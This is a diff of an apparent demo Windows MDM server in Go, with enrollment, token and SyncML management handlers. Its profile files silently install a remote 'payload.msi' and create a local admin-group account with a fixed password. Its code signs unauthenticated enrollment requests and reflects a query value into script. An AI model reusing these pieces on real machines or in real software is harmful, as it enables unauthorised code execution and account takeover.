w.Header().Set("Content-Type", "text/html; charset=UTF-8")
w.Write([]byte(`<center><h1>Windows MDM Demo Server<br></h1>.<center>`))
})
//Static file serve
fileServer := http.FileServer(http.Dir(staticDir))
r.PathPrefix("/").Handler(http.StripPrefix("/static", fileServer))
// Start HTTPS Server
fmt.Println("HTTPS server listening on port 443")
err = http.ListenAndServeTLS(":443", "./certs/dev_cert_mdmwindows_com_cert.pem", "./certs/dev_cert_mdmwindows_com.key", globalHandler(r))
if err != nil {
panic(err)
}
}

View File

@ -0,0 +1,59 @@
package main
import (
"io/ioutil"
"net/http"
"regexp"
"strconv"
"strings"
)
// DiscoveryHandler is the HTTP handler assosiated with the enrollment protocol's discovery endpoint.
func DiscoveryHandler(w http.ResponseWriter, r *http.Request) {
// Return HTTP Status 200 Ok when a HTTP GET request is received.
if r.Method == http.MethodGet {
w.WriteHeader(http.StatusOK)
return
}
// Read The HTTP Request body
bodyRaw, err := ioutil.ReadAll(r.Body)
if err != nil {
panic(err)
}
body := string(bodyRaw)
// Retrieve the MessageID From The Body For The Response
messageID := strings.Replace(strings.Replace(regexp.MustCompile(`<a:MessageID>[\s\S]*?<\/a:MessageID>`).FindStringSubmatch(body)[0], "<a:MessageID>", "", -1), "</a:MessageID>", "", -1)
var extraParams = ""
if authPolicy == "Federated" {
extraParams += "<AuthenticationServiceUrl>https://" + domain + "/EnrollmentServer/Auth</AuthenticationServiceUrl>"
}
// Create response payload
response := []byte(`
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
<s:Header>
<Action mustUnderstand="1">http://schemas.microsoft.com/windows/management/2012/01/enrollment/IDiscoveryService/DiscoverResponse</Action>
<RelatesTo>` + messageID + `</RelatesTo>
<ActivityId CorrelationId="735046d3-5b2c-4512-a7be-09e3da447abf" xmlns="http://schemas.microsoft.com/2004/09/ServiceModel/Diagnostics">735046d3-5b2c-4512-a7be-09e3da447abf</ActivityId>
</s:Header>
<s:Body>
<DiscoverResponse xmlns="http://schemas.microsoft.com/windows/management/2012/01/enrollment">
<DiscoverResult>
<AuthPolicy>` + authPolicy + `</AuthPolicy>
<EnrollmentVersion>4.0</EnrollmentVersion>
<EnrollmentPolicyServiceUrl>https://` + domain + `/EnrollmentServer/Policy.svc</EnrollmentPolicyServiceUrl>
<EnrollmentServiceUrl>https://` + domain + `/EnrollmentServer/Enrollment.svc</EnrollmentServiceUrl>
<AuthenticationServiceUrl>https://` + domain + `/EnrollmentServer/Auth.svc</AuthenticationServiceUrl>
</DiscoverResult>
</DiscoverResponse>
</s:Body>
</s:Envelope>`)
// Return response body
w.Header().Set("Content-Type", "application/soap+xml; charset=utf-8")
w.Header().Set("Content-Length", strconv.Itoa(len(response)))
w.Write(response)
}

View File

@ -0,0 +1,230 @@
package main
import (
"crypto/rand"
"crypto/sha1"
"crypto/x509"
"crypto/x509/pkix"
"encoding/base64"
"fmt"
"io/ioutil"
"math/big"
mathrand "math/rand"
"net/http"
"regexp"
"strconv"
"strings"
"time"
)
// EnrollHandler is the HTTP handler assosiated with the enrollment protocol's enrollment endpoint.
func EnrollHandler(w http.ResponseWriter, r *http.Request) {
// Read The HTTP Request body
bodyRaw, err := ioutil.ReadAll(r.Body)
if err != nil {
panic(err)
}
body := string(bodyRaw)
// Retrieve the MessageID From The Body For The Response
messageID := strings.Replace(strings.Replace(regexp.MustCompile(`<a:MessageID>[\s\S]*?<\/a:MessageID>`).FindStringSubmatch(body)[0], "<a:MessageID>", "", -1), "</a:MessageID>", "", -1)
// Retrieve the BinarySecurityToken (which contains a Certificate Signing Request) From The Body For The Response
binarySecurityToken := strings.Replace(strings.Replace(regexp.MustCompile(`<wsse:BinarySecurityToken ValueType="http:\/\/schemas.microsoft.com\/windows\/pki\/2009\/01\/enrollment#PKCS10" EncodingType="http:\/\/docs\.oasis-open\.org\/wss\/2004\/01\/oasis-200401-wss-wssecurity-secext-1\.0\.xsd#base64binary">[\s\S]*?<\/wsse:BinarySecurityToken>`).FindStringSubmatch(body)[0], `<wsse:BinarySecurityToken ValueType="http://schemas.microsoft.com/windows/pki/2009/01/enrollment#PKCS10" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd#base64binary">`, "", -1), "</wsse:BinarySecurityToken>", "", -1)
// Retrieve the DeviceID From The Body For The Response
deviceID := strings.Replace(strings.Replace(regexp.MustCompile(`<ac:ContextItem Name="DeviceID"><ac:Value>[\s\S]*?<\/ac:Value><\/ac:ContextItem>`).FindStringSubmatch(body)[0], `<ac:ContextItem Name="DeviceID"><ac:Value>`, "", -1), "</ac:Value></ac:ContextItem>", "", -1)
// Retrieve the EnrollmentType From The Body For The Response
enrollmentType := strings.Replace(strings.Replace(regexp.MustCompile(`<ac:ContextItem Name="EnrollmentType"><ac:Value>[\s\S]*?<\/ac:Value><\/ac:ContextItem>`).FindStringSubmatch(body)[0], `<ac:ContextItem Name="EnrollmentType"><ac:Value>`, "", -1), "</ac:Value></ac:ContextItem>", "", -1)
/* Sign binary security token */
// Load raw Root CA
rootCertificateDer, err := ioutil.ReadFile("./identity/identity.crt")
if err != nil {
panic(err)
}
rootPrivateKeyDer, err := ioutil.ReadFile("./identity/identity.key")
if err != nil {
panic(err)
}
// Convert the raw Root CA cert & key to parsed version
rootCert, err := x509.ParseCertificate(rootCertificateDer)
if err != nil {
panic(err)
}
rootPrivateKey, err := x509.ParsePKCS1PrivateKey(rootPrivateKeyDer)
if err != nil {
panic(err)
}
// Decode Base64
csrRaw, err := base64.StdEncoding.DecodeString(binarySecurityToken)
if err != nil {
panic(err)
}
// Decode and verify CSR
//csr, err := x509.ParseCertificateRequest(csrRaw)
csr, err := ParseCertificateRequest2(csrRaw)
if err != nil {
panic(err)
}
if err = csr.CheckSignature(); err != nil {
panic(err)
}
// Create client identity certificate
NotBefore1 := time.Now().Add(time.Duration(mathrand.Int31n(120)) * -time.Minute) // This randomises the creation time a bit for added security (Recommended by x509 signing article not the MDM spec)
clientCertificate := &x509.Certificate{
Signature: csr.Signature,
SignatureAlgorithm: csr.SignatureAlgorithm,
PublicKeyAlgorithm: csr.PublicKeyAlgorithm,
PublicKey: csr.PublicKey,
SerialNumber: big.NewInt(2),
Issuer: rootCert.Issuer,
Subject: pkix.Name{
CommonName: deviceID,
}, // The Subject is not used from the CSR because the characters in it are causing issues.
NotBefore: NotBefore1,
NotAfter: NotBefore1.Add(365 * 24 * time.Hour),
KeyUsage: x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth},
}
// Sign certificate with the identity
clientCRTRaw, err := x509.CreateCertificate(rand.Reader, clientCertificate, rootCert, csr.PublicKey, rootPrivateKey)
if err != nil {
panic(err)
}
// Note: SHA-1 Hash OID is deprecated
// Fingerprint (SHA-1 hash) of client certificate
h := sha1.New()
h.Write(clientCRTRaw)
signedClientCertFingerprint := strings.ToUpper(fmt.Sprintf("%x", h.Sum(nil))) // TODO: Cleanup -> This line is probally messer than it needs to be
// Fingerprint (SHA-1 hash) of client certificate
h2 := sha1.New()
h2.Write(rootCertificateDer)
identityCertFingerprint := strings.ToUpper(fmt.Sprintf("%x", h2.Sum(nil))) // TODO: Cleanup -> This line is probally messer than it needs to be
// Determain Certstore
certStore := "User"
if enrollmentType == "Device" {
certStore = "System"
}
// End Sign binary security token
// Generate WAP provisioning profile for inside the payload
wapProvisionProfile := `
<?xml version="1.0" encoding="UTF-8"?>
<wap-provisioningdoc version="1.1">
<characteristic type="CertificateStore">
<characteristic type="Root">
<characteristic type="System">
<characteristic type="` + identityCertFingerprint /* Root CA Certificate Fingureprint (SHA-1 hash of Der) */ + `">
<parm name="EncodedCertificate" value="` + base64.StdEncoding.EncodeToString(rootCertificateDer) /* Base64 encoded root CA certificate */ + `" />
</characteristic>
</characteristic>
</characteristic>
<characteristic type="My">
<characteristic type="` + certStore + `">
<characteristic type="` + signedClientCertFingerprint /* Signed Client Certificate (From the BinarySecurityToken) Fingureprint (SHA-1 hash of Der) */ + `">
<parm name="EncodedCertificate" value="` + base64.StdEncoding.EncodeToString(clientCRTRaw) /* Base64 encoded signed certificate */ + `" />
</characteristic>
<characteristic type="PrivateKeyContainer" />
</characteristic>
<characteristic type="WSTEP">
<characteristic type="Renew">
<parm name="ROBOSupport" value="true" datatype="boolean"/>
<parm name="RenewPeriod" value="60" datatype="integer"/>
<parm name="RetryInterval" value="4" datatype="integer"/>
</characteristic>
</characteristic>
</characteristic>
</characteristic>
<characteristic type="APPLICATION">
<parm name="APPID" value="w7" />
<parm name="PROVIDER-ID" value="DEMO MDM" />
<parm name="NAME" value="PoC Demo MDM Server" />
<parm name="ADDR" value="https://` + domain + `/ManagementServer/MDM.svc" />
<parm name="ServerList" value="https://` + domain + `/ManagementServer/ServerList.svc" />
<parm name="ROLE" value="4294967295" />
<parm name="BACKCOMPATRETRYDISABLED" />
<parm name="CONNRETRYFREQ" value="6" />
<parm name="INITIALBACKOFFTIME" value="30000" />
<parm name="MAXBACKOFFTIME" value="120000" />
<parm name="DEFAULTENCODING" value="application/vnd.syncml.dm+xml" />
<characteristic type="APPAUTH">
<parm name="AAUTHLEVEL" value="CLIENT" />
<parm name="AAUTHTYPE" value="DIGEST" />
<parm name="AAUTHSECRET" value="dummy" />
<parm name="AAUTHDATA" value="nonce" />
</characteristic>
<characteristic type="APPAUTH">
<parm name="AAUTHLEVEL" value="APPSRV" />
<parm name="AAUTHTYPE" value="DIGEST" />
<parm name="AAUTHNAME" value="dummy" />
<parm name="AAUTHSECRET" value="dummy" />
<parm name="AAUTHDATA" value="nonce" />
</characteristic>
</characteristic>
<characteristic type="DMClient">
<characteristic type="Provider">
<characteristic type="DEMO MDM">
<parm name="UPN" value="test@mdmwindows.com" />
<parm name="EnableOmaDmKeepAliveMessage" value="true" datatype="boolean" />
<characteristic type="Poll">
<parm name="NumberOfFirstRetries" value="0" datatype="integer" />
<parm name="IntervalForFirstSetOfRetries" value="1" datatype="integer" />
<parm name="NumberOfSecondRetries" value="0" datatype="integer" />
<parm name="IntervalForSecondSetOfRetries" value="1" datatype="integer" />
<parm name="NumberOfRemainingScheduledRetries" value="0" datatype="integer" />
<parm name="IntervalForRemainingScheduledRetries" value="1560" datatype="integer" />
<parm name="PollOnLogin" value="true" datatype="boolean" />
</characteristic>
</characteristic>
</characteristic>
</characteristic>
</wap-provisioningdoc>`
wapProvisionProfileRaw := []byte(strings.ReplaceAll(strings.ReplaceAll(wapProvisionProfile, "\n", ""), "\t", ""))
fmt.Printf("======================================\n%s\n======================================\n", string(wapProvisionProfileRaw))
response := []byte(`
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
<s:Header>
<Action mustUnderstand="1">http://schemas.microsoft.com/windows/pki/2009/01/enrollment/RSTRC/wstep</Action>
<a:RelatesTo>` + messageID + `</a:RelatesTo>
<o:Security xmlns:o="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" s:mustUnderstand="1">
<u:Timestamp u:Id="_0">
<u:Created>2023-06-14T17:34:39.314Z</u:Created>
<u:Expires>2023-06-14T17:44:39.314Z</u:Expires>
</u:Timestamp>
</o:Security>
</s:Header>
<s:Body>
<RequestSecurityTokenResponseCollection xmlns="http://docs.oasis-open.org/ws-sx/ws-trust/200512">
<RequestSecurityTokenResponse>
<TokenType>http://schemas.microsoft.com/5.0.0.0/ConfigurationManager/Enrollment/DeviceEnrollmentToken</TokenType>
<DispositionMessage xmlns="http://schemas.microsoft.com/windows/pki/2009/01/enrollment"></DispositionMessage>
<RequestedSecurityToken>
<BinarySecurityToken xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" ValueType="http://schemas.microsoft.com/5.0.0.0/ConfigurationManager/Enrollment/DeviceEnrollmentProvisionDoc" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd#base64binary">` + base64.StdEncoding.EncodeToString(wapProvisionProfileRaw) + `</BinarySecurityToken>
</RequestedSecurityToken>
<RequestID xmlns="http://schemas.microsoft.com/windows/pki/2009/01/enrollment">0</RequestID>
</RequestSecurityTokenResponse>
</RequestSecurityTokenResponseCollection>
</s:Body>
</s:Envelope>`)
// Return response body
w.Header().Set("Content-Type", "application/soap+xml; charset=utf-8")
w.Header().Set("Content-Length", strconv.Itoa(len(response)))
w.Write(response)
}

View File

@ -0,0 +1,92 @@
package main
import (
"io/ioutil"
"net/http"
"regexp"
"strconv"
"strings"
)
// PolicyHandler is the HTTP handler assosiated with the enrollment protocol's policy endpoint.
func PolicyHandler(w http.ResponseWriter, r *http.Request) {
// Read The HTTP Request body
bodyRaw, err := ioutil.ReadAll(r.Body)
if err != nil {
panic(err)
}
body := string(bodyRaw)
// Retrieve the MessageID From The Body For The Response
messageID := strings.Replace(strings.Replace(regexp.MustCompile(`<a:MessageID>[\s\S]*?<\/a:MessageID>`).FindStringSubmatch(body)[0], "<a:MessageID>", "", -1), "</a:MessageID>", "", -1)
response := []byte(`
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
<s:Header>
<Action mustUnderstand="1">http://schemas.microsoft.com/windows/pki/2009/01/enrollmentpolicy/IPolicy/GetPoliciesResponse</Action>
<a:RelatesTo>` + messageID + `</a:RelatesTo>
</s:Header>
<s:Body xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<GetPoliciesResponse xmlns="http://schemas.microsoft.com/windows/pki/2009/01/enrollmentpolicy">
<response>
<policyID></policyID>
<policyFriendlyName xsi:nil="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"></policyFriendlyName>
<nextUpdateHours xsi:nil="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"></nextUpdateHours>
<policiesNotChanged xsi:nil="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"></policiesNotChanged>
<policies>
<policy>
<policyOIDReference>0</policyOIDReference>
<cAs xsi:nil="true"></cAs>
<attributes>
<commonName>Attributes</commonName>
<policySchema>2</policySchema>
<certificateValidity>
<validityPeriodSeconds>1209600</validityPeriodSeconds>
<renewalPeriodSeconds>172800</renewalPeriodSeconds>
</certificateValidity>
<permission>
<enroll>true</enroll>
<autoEnroll>false</autoEnroll>
</permission>
<privateKeyAttributes>
<minimalKeyLength>2048</minimalKeyLength>
<keySpec xsi:nil="true"></keySpec>
<keyUsageProperty xsi:nil="true"></keyUsageProperty>
<permissions xsi:nil="true"></permissions>
<algorithmOIDReference xsi:nil="true"></algorithmOIDReference>
<cryptoProviders xsi:nil="true"></cryptoProviders>
</privateKeyAttributes>
<revision>
<majorRevision>101</majorRevision>
<minorRevision>0</minorRevision>
</revision>
<supersededPolicies xsi:nil="true"></supersededPolicies>
<privateKeyFlags xsi:nil="true"></privateKeyFlags>
<subjectNameFlags xsi:nil="true"></subjectNameFlags>
<enrollmentFlags xsi:nil="true"></enrollmentFlags>
<generalFlags xsi:nil="true"></generalFlags>
<hashAlgorithmOIDReference>0</hashAlgorithmOIDReference>
<rARequirements xsi:nil="true"></rARequirements>
<keyArchivalAttributes xsi:nil="true"></keyArchivalAttributes>
<extensions xsi:nil="true"></extensions>
</attributes>
</policy>
</policies>
</response>
<oIDs>
<oID>
<value>1.3.14.3.2.29</value>
<group>1</group>
<oIDReferenceID>0</oIDReferenceID>
<defaultName>szOID_NIST_sha256</defaultName>
</oID>
</oIDs>
</GetPoliciesResponse>
</s:Body>
</s:Envelope>`)
// Return response body
w.Header().Set("Content-Type", "application/soap+xml; charset=utf-8")
w.Header().Set("Content-Length", strconv.Itoa(len(response)))
w.Write(response)
}

View File

@ -0,0 +1,47 @@
package main
import (
"fmt"
"net/http"
)
// TokenHandler return an STS Token
func TokenHandler(w http.ResponseWriter, r *http.Request) {
// Print querystring
if r.Method == http.MethodGet {
fmt.Printf("====================Query String GET:\n%s\n====================", r.URL.RawQuery)
w.Header().Set("Content-Type", "text/html; charset=UTF-8")
w.Write([]byte(`
<h3>MDM Federated Login</h3>
<script>
function performPost() {
var form = document.createElement('form');
form.method = 'POST';
form.action = "` + r.URL.Query().Get("appru") + `"
// Add any form fields or data you want to send
var input1 = document.createElement('input');
input1.type = 'hidden';
input1.name = 'wresult';
input1.value = 'test magic';
form.appendChild(input1);
// Submit the form
document.body.appendChild(form);
form.submit();
}
// Call performPost() when the script is executed
performPost();
</script>
`))
return
} else if r.Method == http.MethodPost {
fmt.Printf("====================Query String POST:\n%s\n====================", r.URL.RawQuery)
}
}

View File

@ -0,0 +1,79 @@
package main
import (
"bytes"
"net/http"
"strconv"
"text/template"
)
// TOSHandler is the HTTP handler assosiated with the Terms Of Use endpoint
func TOSHandler(w http.ResponseWriter, r *http.Request) {
// Get query param named test
//test := r.URL.Query().Get("test")
//RequestURI: "/TOS.svc?api-version=1.0&redirect_uri=ms-appx-web%3a%2f%2fMicrosoft.AAD.BrokerPlugin&client-request-id=bbd77af5-3c4d-4b4e-aef6-6360a94ffb93"
redirectUri := r.URL.Query().Get("redirect_uri")
clientReqID := r.URL.Query().Get("client-request-id")
tmpl, err := template.New("").Parse(`
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE11">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
html, body, #root {
width: 100%;
height: 100%;
margin: 0;
padding: 0;
overflow: hidden;
}
</style>
</head>
<body>
<h1>PDF Example by Object Tag</h1>
<object data="https://marcoslabs.org/static/sample.pdf" type="application/pdf" width="100%" height="500px">
<p>Unable to display PDF file. <a href="https://marcoslabs.org/static/sample.pdf">Download</a> instead.</p>
</object>
<iframe src="https://marcoslabs.org/static/sample.pdf" frameborder="0" height="100%" width="100%">
</iframe>
</body>
</html>`)
if err != nil {
return
}
/*
tmpl, err := template.New("").Parse(`
<html>
<script type='text/javascript'>
var redirectURL = 'https://viewerjs.org/examples/';
window.location = redirectURL;
</script>
<body>
Redirecting to Fleet ...
</body>
</html>
`)
if err != nil {
return
}
*/
var htmlBuf bytes.Buffer
err = tmpl.Execute(&htmlBuf, map[string]string{"RedirectURL": redirectUri, "ClientData": clientReqID})
if err != nil {
return
}
// Return response body
w.Header().Set("Content-Type", "text/html; charset=UTF-8")
w.Header().Set("Content-Length", strconv.Itoa(len(htmlBuf.String())))
w.Write(htmlBuf.Bytes())
}

View File

@ -0,0 +1,311 @@
package main
import (
"encoding/xml"
"fmt"
"io/ioutil"
"net"
"net/http"
"os"
"strconv"
"strings"
)
// SyncML XML Parsing Types - This needs to be improved
type SyncMLHeader struct {
DTD string `xml:"VerDTD"`
Version string `xml:"VerProto"`
SessionID int `xml:"SessionID"`
MsgID int `xml:"MsgID"`
Target string `xml:"Target>LocURI"`
Source string `xml:"Source>LocURI"`
MaxMsgSize int `xml:"Meta>A:MaxMsgSize"`
}
type SyncMLCommandMeta struct {
XMLinfo string `xml:"xmlns,attr"`
Type string `xml:"Type"`
}
type SyncMLCommandItem struct {
Meta SyncMLCommandMeta `xml:"Meta"`
Source string `xml:"Source>LocURI"`
Data string `xml:"Data"`
}
type SyncMLCommand struct {
XMLName xml.Name
CmdID int `xml:",omitempty"`
MsgRef string `xml:",omitempty"`
CmdRef string `xml:",omitempty"`
Cmd string `xml:",omitempty"`
Target string `xml:"Target>LocURI"`
Source string `xml:"Source>LocURI"`
Data string `xml:",omitempty"`
Item []SyncMLCommandItem `xml:",any"`
}
type SyncMLBody struct {
Item []SyncMLCommand `xml:",any"`
}
type SyncMLMessage struct {
XMLinfo string `xml:"xmlns,attr"`
Header SyncMLHeader `xml:"SyncHdr"`
Body SyncMLBody `xml:"SyncBody"`
}
// Returns the MDM configuration profile SyncML content from profile dir
func getConfigurationProfiles(cmdIDstart int) string {
files, err := ioutil.ReadDir(profileDir)
if err != nil {
panic(err)
}
var syncmlCommands string
var tokenCmdID string = "xxcmdidxx"
for _, file := range files {
fileContent, err := os.ReadFile(profileDir + "/" + file.Name())
if err != nil {
panic(err)
}
fileContentStr := string(fileContent)
nrTokenOcurrences := strings.Count(fileContentStr, tokenCmdID)
for i := 0; i < nrTokenOcurrences; i++ {
cmdIDstart++
fmt.Printf("\n--------- Command Request %d ---------\n", cmdIDstart)
fmt.Printf("Command payload retrieved from file %s\n", file.Name())
fileContentStr = strings.Replace(fileContentStr, tokenCmdID, strconv.Itoa(cmdIDstart), 1)
}
if len(fileContentStr) > 0 {
syncmlCommands += fileContentStr
syncmlCommands += "\n"
}
}
//input sanitization
sanitizedSyncmlOutput := strings.ReplaceAll(syncmlCommands, "\r\n", "\n")
if len(sanitizedSyncmlOutput) > 0 {
fmt.Print("\n")
}
return sanitizedSyncmlOutput
}
// Alert Command IDs
const DeviceUnenrollmentID = "1226"
const HostInitMessageID = "1201"
// Checks if body contains a DM device unrollment SyncML message
func isDeviceUnenrollmentMessage(body SyncMLBody) bool {
for _, element := range body.Item {
if element.Data == DeviceUnenrollmentID {
return true
}
}
return false
}
// Checks if body contains a DM session initialization SyncML message sent by device
func isSessionInitializationMessage(body SyncMLBody) bool {
isUnenrollMessage := isDeviceUnenrollmentMessage(body)
for _, element := range body.Item {
if element.Data == HostInitMessageID && !isUnenrollMessage {
return true
}
}
return false
}
// Get IP address from HTTP Request
func getIP(r *http.Request) (string, error) {
//Get IP from the X-REAL-IP header
ip := r.Header.Get("X-REAL-IP")
netIP := net.ParseIP(ip)
if netIP != nil {
return ip, nil
}
//Get IP from X-FORWARDED-FOR header
ips := r.Header.Get("X-FORWARDED-FOR")
splitIps := strings.Split(ips, ",")
for _, ip := range splitIps {
netIP := net.ParseIP(ip)
if netIP != nil {
return ip, nil
}
}
//Get IP from RemoteAddr
ip, _, err := net.SplitHostPort(r.RemoteAddr)
if err != nil {
return "", err
}
netIP = net.ParseIP(ip)
if netIP != nil {
return ip, nil
}
return "", fmt.Errorf("no valid ip found")
}
// ManageHandler is the HTTP handler assosiated with the mdm management service. This is what constantly pushes configuration profiles to the device.
func ManageHandler(w http.ResponseWriter, r *http.Request) {
// Read The HTTP Request body
bodyRaw, err := ioutil.ReadAll(r.Body)
if err != nil {
panic(err)
}
var responseRaw []byte
var response string
var message SyncMLMessage
//Parsing input SyncML message
if err := xml.Unmarshal(bodyRaw, &message); err != nil {
panic(err)
}
// Cmd ID variable with getNextCmdID() increment statement hack
CmdID := 0
getNextCmdID := func(i *int) string { *i++; return strconv.Itoa(*i) }
// Retrieve the MessageID From The Body For The Response
DeviceID := message.Header.Source
// Retrieve the SessionID From The Body For The Response
SessionID := message.Header.SessionID
// Retrieve the MsgID From The Body For The Response
MsgID := message.Header.MsgID
//Only handle DM session initialization SyncML message sent by device
// Retrieve the IP Address from calling device
ipAddressBytes, err := getIP(r)
if err != nil {
panic(err)
}
//Checking the SyncML message types
if isSessionInitializationMessage(message.Body) {
fmt.Printf("\n========= New OMA-DM session from Windows Host %s (%s) =========\n", string(ipAddressBytes), r.UserAgent())
// Create response payload - MDM syncml configuration profiles commands will be enforced here
response = `
<?xml version="1.0" encoding="UTF-8"?>
<SyncML xmlns="SYNCML:SYNCML1.2">
<SyncHdr>
<VerDTD>1.2</VerDTD>
<VerProto>DM/1.2</VerProto>
<SessionID>` + strconv.Itoa(SessionID) + `</SessionID>
<MsgID>` + strconv.Itoa(MsgID) + `</MsgID>
<Target>
<LocURI>` + DeviceID + `</LocURI>
</Target>
<Source>
<LocURI>https://` + domain + `/ManagementServer/MDM.svc</LocURI>
</Source>
</SyncHdr>
<SyncBody>
<Status>
<CmdID>` + getNextCmdID(&CmdID) + `</CmdID>
<MsgRef>` + strconv.Itoa(MsgID) + `</MsgRef>
<CmdRef>0</CmdRef>
<Cmd>SyncHdr</Cmd>
<Data>200</Data>
</Status>
<Status>
<CmdID>` + getNextCmdID(&CmdID) + `</CmdID>
<MsgRef>` + strconv.Itoa(MsgID) + `</MsgRef>
<CmdRef>2</CmdRef>
<Cmd>Alert</Cmd>
<Data>200</Data>
</Status>
<Status>
<CmdID>` + getNextCmdID(&CmdID) + `</CmdID>
<MsgRef>` + strconv.Itoa(MsgID) + `</MsgRef>
<CmdRef>3</CmdRef>
<Cmd>Alert</Cmd>
<Data>200</Data>
</Status>
<Status>
<CmdID>` + getNextCmdID(&CmdID) + `</CmdID>
<MsgRef>` + strconv.Itoa(MsgID) + `</MsgRef>
<CmdRef>4</CmdRef>
<Cmd>Replace</Cmd>
<Data>200</Data>
</Status>
` + getConfigurationProfiles(CmdID) + `
<Final />
</SyncBody>
</SyncML>`
// Return response
responseRaw = []byte(strings.ReplaceAll(strings.ReplaceAll(response, "\n", ""), "\t", ""))
w.Header().Set("Content-Type", "application/vnd.syncml.dm+xml")
w.Header().Set("Content-Length", strconv.Itoa(len(response)))
w.Write(responseRaw)
} else {
//Log if this is a device unrollment message
if isDeviceUnenrollmentMessage(message.Body) {
fmt.Printf("\nWindows Device at %s was removed from MDM!\n\n", string(ipAddressBytes))
}
//Acknowledge the HTTP request sent by device
response = `
<?xml version="1.0" encoding="UTF-8"?>
<SyncML xmlns="SYNCML:SYNCML1.2">
<SyncHdr>
<VerDTD>1.2</VerDTD>
<VerProto>DM/1.2</VerProto>
<SessionID>` + strconv.Itoa(SessionID) + `</SessionID>
<MsgID>` + strconv.Itoa(MsgID) + `</MsgID>
<Target>
<LocURI>` + DeviceID + `</LocURI>
</Target>
<Source>
<LocURI>https://` + domain + `/ManagementServer/MDM.svc</LocURI>
</Source>
</SyncHdr>
<SyncBody>
<Status>
<CmdID>` + getNextCmdID(&CmdID) + `</CmdID>
<MsgRef>` + strconv.Itoa(MsgID) + `</MsgRef>
<CmdRef>0</CmdRef>
<Cmd>SyncHdr</Cmd>
<Data>200</Data>
</Status>
<Final />
</SyncBody>
</SyncML>`
// Dump Response Payload
for _, element := range message.Body.Item {
if element.XMLName.Local != "Final" && element.Cmd != "SyncHdr" {
commandStr, _ := xml.MarshalIndent(element, "", " ")
if element.XMLName.Local == "Status" {
fmt.Printf("\n--------- Command Response %s - Return Code: %s ---------\n", element.CmdRef, element.Data)
} else {
fmt.Printf("%s\n", commandStr)
}
}
}
// Return response body
responseRaw = []byte(strings.ReplaceAll(strings.ReplaceAll(response, "\n", ""), "\t", ""))
w.Header().Set("Content-Type", "application/vnd.syncml.dm+xml")
w.Header().Set("Content-Length", strconv.Itoa(len(response)))
w.Write(responseRaw)
}
}

View File

@ -0,0 +1,38 @@
<Add>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Device/Vendor/MSFT/EnterpriseDesktopAppManagement/MSI/%7Bf5645004-3214-46ea-92c2-48835689da06%7D/DownloadInstall</LocURI>
</Target>
</Item>
</Add>
<Exec>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Device/Vendor/MSFT/EnterpriseDesktopAppManagement/MSI/%7Bf5645004-3214-46ea-92c2-48835689da06%7D/DownloadInstall</LocURI>
</Target>
<Data>&lt;MsiInstallJob id="{f5645004-3214-46ea-92c2-48835689da06}"&gt;
&lt;Product Version="1.0.0.0"&gt;
&lt;Download&gt;
&lt;ContentURLList&gt;
&lt;ContentURL&gt;https://mdmwindows.com/static/payload.msi&lt;/ContentURL&gt;
&lt;/ContentURLList&gt;
&lt;/Download&gt;
&lt;Validation&gt;
&lt;FileHash&gt;7D127BA8F8CC5937DB3052E2632D672120217D910E271A58565BBA780ED8F05C&lt;/FileHash&gt;
&lt;/Validation&gt;
&lt;Enforcement&gt;
&lt;CommandLine&gt;/quiet&lt;/CommandLine&gt;
&lt;TimeOut&gt;10&lt;/TimeOut&gt;
&lt;RetryCount&gt;1&lt;/RetryCount&gt;
&lt;RetryInterval&gt;5&lt;/RetryInterval&gt;
&lt;/Enforcement&gt;
&lt;/Product&gt;
&lt;/MsiInstallJob&gt;</Data>
<Meta>
<Type xmlns="syncml:metinf">text/plain</Type>
<Format xmlns="syncml:metinf">xml</Format>
</Meta>
</Item>
</Exec>

View File

@ -0,0 +1,34 @@
<Add>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Device/Vendor/MSFT/Accounts/Users/testexp</LocURI>
</Target>
</Item>
</Add>
<Add>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Device/Vendor/MSFT/Accounts/Users/testexp/Password</LocURI>
</Target>
<Meta>
<Type xmlns="syncml:metinf">text/plain</Type>
<Format xmlns="syncml:metinf">chr</Format>
</Meta>
<Data>testpass</Data>
</Item>
</Add>
<Add>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Device/Vendor/MSFT/Accounts/Users/testexp/LocalUserGroup</LocURI>
</Target>
<Meta>
<Type xmlns="syncml:metinf">text/plain</Type>
<Format xmlns="syncml:metinf">int</Format>
</Meta>
<Data>2</Data>
</Item>
</Add>

View File

@ -0,0 +1,176 @@
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./DevDetail/DevTyp</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./DevDetail/Ext/Microsoft/DeviceName</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
